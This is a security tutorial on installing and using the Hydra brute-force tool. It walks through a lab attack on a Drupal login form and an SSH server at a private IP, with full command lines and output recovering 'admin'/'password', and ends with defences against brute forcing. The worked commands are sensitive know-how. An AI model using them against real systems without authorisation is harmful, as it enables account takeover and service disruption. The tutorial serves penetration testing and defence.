Hydra Brute Force Utility
Hydra is a powerful, multi-protocol brute force attack tool. Brute force attacks involve guessing authentication credentials in an attempt to gain access to a system. Brute force is, over time, the most successful way to break simple authentication. The main disadvantages of brute force attacks are the time required to try username and password combinations, and the fact that these types of attacks are extremely noisy. Noise, in this instance, means that brute force attacks generate a lot of traffic, and potentially quite a bit of evidence of the attack. It is even possible to perform a denial of service attack using brute force tools. By attempting authentication repetitively over periods of time it may be possible to tie up system resources to such an extent that legitimate users cannot access the resource.
Installing Hydra
In order to install Hydra first download the Hydra source from http://freeworld.thc.org/releases/hydra-5.7-src.tar.gz
unzip hydra:
$ tar xvzf hydra-5.7-src.tar.gz $ cd hydra-5.7-src/
Once unpacked, you need to configure Hydra. Be sure that GCC, Make and other dependencies are installed in order to compile C programs. To configure Hydra use:
$ ./configure
Starting hydra auto configuration ...
Checking for openssl (libssl/ssl.h) ...
... NOT found, SSL support disabled
Get it from http://www.openssl.org
Checking for Postgres (libpq.so) ...
... found
Checking for SVN (libsvn_client-1 libapr-0.so libaprutil-0.so) ...
... NOT found, module svn disabled
Checking for firebird (libfbclient.so) ...
... NOT found, module firebird disabled
Checking for NCP (libncp.so / nwcalls.h) ...
... NOT found, module NCP disabled
Checking for SAP/R3 (librfc/saprfc.h) ...
... NOT found, module sapr3 disabled
Get it from http://www.sap.com/solutions/netweaver/linux/eval/index.asp
Checking for libssh (libssh/libssh.h) ...
... NOT found, module ssh2 disabled
Get it from http://www.libssh.org
Checking for GUI req's (pkg-config) ...
... found
Hydra will be installed into .../bin of: /usr/local
(change this by running ./configure --prefix=path)
Writing Makefile.in ...
now type "make"
These errors mean that certain dependencies aren't installed. You can still use Hydra without these dependencies, but without them you won't be able to use the protocols they support. For instance, the above errors mean that we won't be able to do SSL, SVN, or even SSH brute forcing. In addition to these common protocols the errors indicate support for firebird, NCP, are SAP are missing. Firebird is a database technology. NCP is the NetWare support protocol, used to control NetWare appliances, and SAP/R3 is a protocol used for a customer relations type package (think billing and business tasks). Without support for these protocols the utility of Hydra is severely limited so you should endeavor to find the packages that support these functions. The installer provides some helpful links to finding the required libraries. Generally if you search for [package]-dev or -devel you should find the supporting libraries for your distribution. On Fedora using:
$ sudo yum install subversion-devel openssl-devel libssh-devel firebird-devel ncpfs-devel postgresql-devel gtk2-devel
This should allow use of all the libraries with the exception of the SAP libraries. If you want to use those you'll have to hassle with creating a login so you can download the required libraries from the SAP site. Once you create a login you need to find and download the SAP NetWeaver Trial Version on Linux. This is a pretty huge download though, 7 independent 650 MB files that you have to combine into a single .iso so consider carefully whether or not you will require this support.
Once all the dependencies are installed, contine by re-running the configure, then the make and finally the make install command. Be sure to run as a privileged user for the 'make install' command so you can put the required libraries on the filesystem (i.e. use "sudo make install").
Once installation is complete you can use Hydra from the command line or xHydra, the GUI version. Using the command line is completely sufficient for most needs, but sometimes having a GUI is helpful.
Making Brute Force More Effective
The power of brute force attacks is limited by the input provided by the attacker. When trying to guess usernames and passwords there are two main strategies. The first is to attempt blind brute force. To do this the attack tool generates usernames and passwords out of combinations of predefined sets. Usually this is numbers and letters. For instance, in a blind brute force attack the system first tries to log in as user 'a' with password 'a'. Next it tries to log in as user 'a' with password 'b' and so on, cycling through all the possible Cartesian possibilities. This approach is extremely inefficient with respect to time, but eventually will find valid credentials.
The second method of brute force is to use a list for input. To do this a list of usernames and passwords is provided to the attack tool. The tool then takes the first account in the user list and the first password from the password list, then successively tries each password for each user in turn. This speeds up the process by limiting the available input to a much smaller set.
The main disadvantage of brute force attacks is the sheer volume of time they take to carry out. By reducing variables it may be possible to speed up a brute force attack, however. Collecting a valid list of users for a username/password style authentication system greatly reduces the number of connection attempts by limiting guesses to valid users only. Many services will expose valid user accounts in the form of e-mail addresses or other displayed data. The accuracy of the user file supplied to Hydra and the contents of the password file will greatly influence the ability of Hydra to find valid login credentials.
Use Case
Hydra can be used for many different types of brute force attacks. One advantage of Hydra over older brute force tools, such as Brutus, is its ability to perform HTTP post form attacks. This allows you to use Hydra to attack web based applications, even those with anti-XSRF form tokens.
One potential use case for Hydra is to test the strength of Drupal usernames and passwords. For instance, if there is a Drupal site installed at http://172.16.46.129/drupal-6.16/ we could use any number of methods to collect a list of valid users in users.txt (including those described at http://www.madirish.net/?article=443). Once we have a list of users and a list of possible passwords (perhaps saved as passwords.txt) we need to discover a final component. Drupal protects all forms (including login forms) with a token, so we need to pull up the target in a web browser, view the source and find the token component, such as:
</ul></div><input type="hidden" name="form_build_id" id="form-6fae72d47e80c07782f8d9f8a92b37ca" value="form-6fae72d47e80c07782f8d9f8a92b37ca" /> <input type="hidden" name="form_id" id="edit-user-login-block" value="user_login_block" />
Note the value of the form_build_id (form-6fae72d47e80c07782f8d9f8a92b37ca), this is the token we'll need to provide so Drupal can validate the form post. In addition to the form token you need to find the form field names as well as the form post action URI. Once all this data is collected the final step is to find a unique string that appears in a page when login fails. Without this Hydra has no way to determine if a login attempt was successful or not. By default Drupal provides the string "Sorry, unrecognized username or password." upon password failure. Armed with this final piece of information we can start a Hydra brute force attack:
$ hydra -L users.txt -P passwords.txt 172.16.46.129 http-post-form "/drupal-6.16/node?destination=node:name=^USER^&pass=^PASS^&form_id=user_login_block&form_build_id=form-545eb8f40f49cc07d5cf994f2f7ffe2e:Sorry, unrecognized username or password." Hydra v5.7 (c) 2006 by van Hauser / THC - use allowed only for legal purposes. Hydra (http://www.thc.org) starting at 2010-06-25 11:56:02 [DATA] 16 tasks, 1 servers, 20 login tries (l:4/p:5), ~1 tries per task [DATA] attacking service http-post-form on port 80 [80][www-form] host: 172.16.46.129 login: admin password: password [STATUS] attack finished for 172.16.46.129 (waiting for childs to finish) Hydra (http://www.thc.org) finished at 2010-06-25 11:56:03
The output above shows that Hydra successfully logged into the target site using the username "admin" and the password "password". Note that both of these values appeared in the user.txt and passwords.txt file respectively.
Hydra can be used to attack a long list of protocols. For instance, using the following command we can attack the SSH server on the same host described above:
$ hydra -L users.txt -P passwords.txt 172.16.46.129 ssh2 Hydra v5.7 (c) 2006 by van Hauser / THC - use allowed only for legal purposes. Hydra (http://www.thc.org) starting at 2010-06-25 12:17:35 [DATA] 16 tasks, 1 servers, 20 login tries (l:4/p:5), ~1 tries per task [DATA] attacking service ssh2 on port 22 [STATUS] attack finished for 172.16.46.129 (waiting for childs to finish) [22][ssh2] host: 172.16.46.129 login: admin password: password Hydra (http://www.thc.org) finished at 2010-06-25 12:17:39
Again, this output shows that the login "admin" with the password "password" can be used to access SSH on the target.
Defensive Strategies
Brute force attacks are extremely easy to spot due to the high number of failed login attempts that result during an attack. There are several effective strategies to detect and prevent these sorts of attacks. One of the most effective strategies is to limit the number of failed login attempts. Using this strategy you block hosts or lock accounts after a certain number of failures. Care should be taken when implementing this approach however, as it becomes possible for attackers to cause a denial of service condition by deliberately causing accounts to be locked. Using this strategy also drives up the support costs of the service due to response to valid users inducing authentication failures.
Another strategy is to limit attempts per connection. Many services allow configuration of this value. By limiting the number of connection attempts, attack tools may have to be restarted in order to complete attacks. This type of configuration may confound attackers sufficiently to drive them away. At the very least it would prevent automated attacks.
Increasing service response times per failed attempt is another strategy that can work in many circumstances. This strategy involves successively increasing response times per failed authentication attempt. This means small delays at first, but longer and longer delays as the attack progresses. This is an extremely effective, and unobtrusive, method for frustrating brute force attacks.
Detecting brute force attacks is quite easy as long as the service creates some sort of log of the failure. Most common intrusion detection systems (IDS) should be able to detect large number of failed login attempts in short periods of time. The disadvantage of this approach is that an attacker could flood a system to generate a large number of IDS event notices which could be used to induce an information overload with analysts. Analysts flooded with alerts will have a difficult time sifting through all the notices to identify actual attacks and thus an attacker might be able to hide amongst the noise of the massive number of attacks.
Auditing system passwords is also an effective defense. By checking your own systems to ensure that common usernames and passwords do not allow access you can ensure that attackers using Hydra and common user and password lists cannot gain access. This type of penetration testing can be time consuming but may alert operators to potential vulnerabilities before brute force attacks commence or are successful.